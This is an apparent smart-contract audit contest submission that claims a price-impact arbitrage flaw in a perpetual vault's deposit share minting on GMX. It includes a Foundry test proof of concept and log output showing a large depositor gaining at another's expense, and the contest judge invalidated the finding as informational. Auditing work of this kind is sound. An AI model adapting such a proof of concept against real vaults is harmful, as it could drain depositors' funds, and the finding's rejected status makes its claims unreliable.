DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Arbitrage Attack Exploiting Price Impact in Perpetual Vault Deposits

Summary

A vulnerability in the price impact calculation during deposits into GMX allows an attacker to artificially inflate the number of shares they receive while devaluing shares held by existing depositors. By strategically timing deposits with price fluctuations and injecting large amounts of capital, an attacker can extract value at the expense of other users. This results in unfair losses for existing depositors, ultimately draining value from the system.

Vulnerability Details

1. Price Impact Calculation in Deposits

When a user deposits collateral into GMX, the price impact is calculated using the VaultReader.getPriceImpactInCollateral() function in the afterOrderExecutionfunction. The price impact is then used to adjust the deposit amount before minting shares.

2. Share Minting Mechanism

The adjusted deposit amount is used to mint new shares. The issue arises because the calculation allows an attacker to mint a disproportionate number of shares when price impact is in their favor, devaluing the shares of existing depositors.

However, the above description is favourable to the new depositor in the case of negative price impact i.e (expectedSizeInTokensDelta <
realSizeInTokensDelta). But new innocent depositors can also be affected in case of a positive price impact i.e (expectedSizeInTokensDelta >
realSizeInTokensDelta). resulting in reduced share minting for new depositors and more share value or existing depositors

Impact

  • Unfair Share Distribution: The attacker receives a larger share of the vault relative to their actual contribution.

  • Existing Depositors Lose Value: The vault’s total share supply increases, reducing the value of each existing share.

POC

paste in /test/PerpetualVault.t.sol

function test_arbitrageAttack() public {
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
address alice = makeAddr("alice");
address bob = makeAddr("bob");
payable(alice).transfer(1 ether);
payable(bob).transfer(1 ether);
//alice Deposit 1e10
depositFixture(alice, 1e10);
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory data = new bytes[](2);
data[0] = abi.encode(3380000000000000);
address keeper = PerpetualVault(vault).keeper();
vm.prank(keeper);
PerpetualVault(vault).run(true, false, prices, data);
GmxOrderExecuted(true);
bytes[] memory metadata = new bytes[](0);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, metadata);
//bob Deposit 2e12
depositFixture(bob, 2e12);
data[0] = abi.encode(3380000000000000);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, data);
GmxOrderExecuted(true);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, data);
uint256[] memory depositIds = PerpetualVault(vault).getUserDeposits(
alice
);
uint executionFee = PerpetualVault(vault).getExecutionGasLimit(false);
uint256 lockTime = 1;
PerpetualVault(vault).setLockTime(lockTime);
vm.warp(block.timestamp + lockTime + 1);
//alice withdraw
vm.prank(alice);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(
alice,
depositIds[0]
);
GmxOrderExecuted(true);
bytes[] memory swapData = new bytes[](2);
swapData[0] = abi.encode(3390000000000000);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(true);
metadata = new bytes[](0);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, metadata);
depositIds = PerpetualVault(vault).getUserDeposits(bob);
//bob withdraw
vm.prank(bob);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(
bob,
depositIds[0]
);
GmxOrderExecuted(true);
swapData = new bytes[](2);
swapData[0] = abi.encode(3390000000000000);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(true);
metadata = new bytes[](0);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, metadata);
console.log("alice lost", 1e10 - collateralToken.balanceOf(alice));
console.log("bob gained", collateralToken.balanceOf(bob) - 2e12);
}

** log result

alice lost 6413009424

bob gained 3182454942

Bob deposit instantly eats up more than 60% of alice fund

Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Informational or Gas

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelihood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!